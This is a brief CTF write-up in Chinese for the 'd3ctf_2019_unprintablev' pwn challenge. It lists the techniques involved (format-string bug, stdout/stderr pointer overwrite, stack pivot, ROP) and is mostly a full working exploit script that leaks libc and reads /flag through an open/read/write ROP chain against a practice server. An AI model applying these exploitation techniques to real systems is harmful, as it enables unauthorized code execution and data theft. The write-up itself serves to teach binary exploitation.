知识点
- ROP
- stdout指针与stderr指针
- 栈迁移
- 格式化字符串漏洞
分析
细节
- 更改stdout的指针后需要输入一段无意义的字符串再触发格式化字符串漏洞进行泄露,猜测是刷新一下缓冲区之类的。
- 因为文件描述符1被关闭,所以打开文件时的文件描述符为1而不是以往的3
exp
#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
# cli_script()
def exploit():
ru(b'0x')
stack_addr = int(r(12), 16)
# libc->15
# 6->10
tmp = stack_addr + 0x3a0
payload = '%' + str(stack_addr & 0xff) + 'c%6$hhn'
payload = payload.ljust(0x12c - 1, '\x00')
sla(b"may you enjoy my printf test!", payload)
sleep(0.1)
payload = '%' + str(0x20) + 'c%10$hhn'
payload = payload.ljust(0x12c - 1, '\x00')
sl(payload)
sleep(0.1)
payload = '%' + str(libc.symbols['_IO_2_1_stderr_'] & 0xfff) + 'c%9$hn'
payload = payload.ljust(0x12c - 1, '\x00')
sl(payload)
payload = 'aaaaa'.ljust(0x12c - 1, '\x00')
sl(payload)
# leak libc
sleep(0.1)
payload = '%15$p'
sl(payload)
ru(b'0x', timeout=0.5)
set_current_libc_base_and_log(int(r(12), 16), libc.symbols['__libc_start_main'] + 231)
# leak text
payload = '%7$p'
sl(payload)
ru(b'0x')
text_base = int(r(12), 16) - 0xafb
log_address("text_base : ", text_base)
buf_addr = text_base + 0x202060
pop_rdi = libc.address + 0x2155f
pop_rsi = libc.address + 0x23e6a
pop_rdx = libc.address + 0x01b96
leave_ret = text_base + 0xB22
rbp_addr = stack_addr + 0x28
def writepop(idx, data):
for i in range(6):
tmp = rbp_addr + idx * 8 + i
sleep(0.1)
payload = '%' + str(tmp & 0xff) + 'c%6$hhn'
payload = payload.ljust(0x12c - 1, '\x00')
sl(payload)
sleep(0.1)
payload = '%' + str((data >> (8 * i)) & 0xff) + 'c%10$hhn'
payload = payload.ljust(0x12c - 1, '\x00')
sl(payload)
# stack migration
writepop(0, buf_addr)
writepop(1, leave_ret)
# recover
payload = '%' + str(rbp_addr & 0xff) + 'c%6$hhn'
payload = payload.ljust(0x12c - 1, '\x00')
sl(payload)
# rop
sleep(0.2)
payload = b'a' * 8 + p64_ex(pop_rdi) + p64_ex(buf_addr + 0xa0) + p64_ex(pop_rsi) + p64_ex(0) + p64_ex(
libc.symbols['open'])
payload += p64_ex(pop_rdi) + p64_ex(1) + p64_ex(pop_rsi) + p64_ex(buf_addr + 0x300) + p64_ex(pop_rdx) + p64_ex(
0x50) + p64_ex(libc.symbols['read'])
payload += p64_ex(pop_rdi) + p64_ex(2) + p64_ex(pop_rsi) + p64_ex(buf_addr + 0x300) + p64_ex(pop_rdx) + p64_ex(
0x50) + p64_ex(libc.symbols['write'])
payload += b'/flag\x00'
sl(payload)
# break
sleep(0.2)
sl("d^3CTF")
for i in range(0x20):
try:
io = gift['io'] = remote('node4.buuoj.cn', 26936)
# io = gift['io'] = process('./d3ctf_2019_unprintablev')
libc = gift['libc'] = ELF('./libc-2.27.so')
exploit()
ia()
except:
ic()
参考
Comments | NOTHING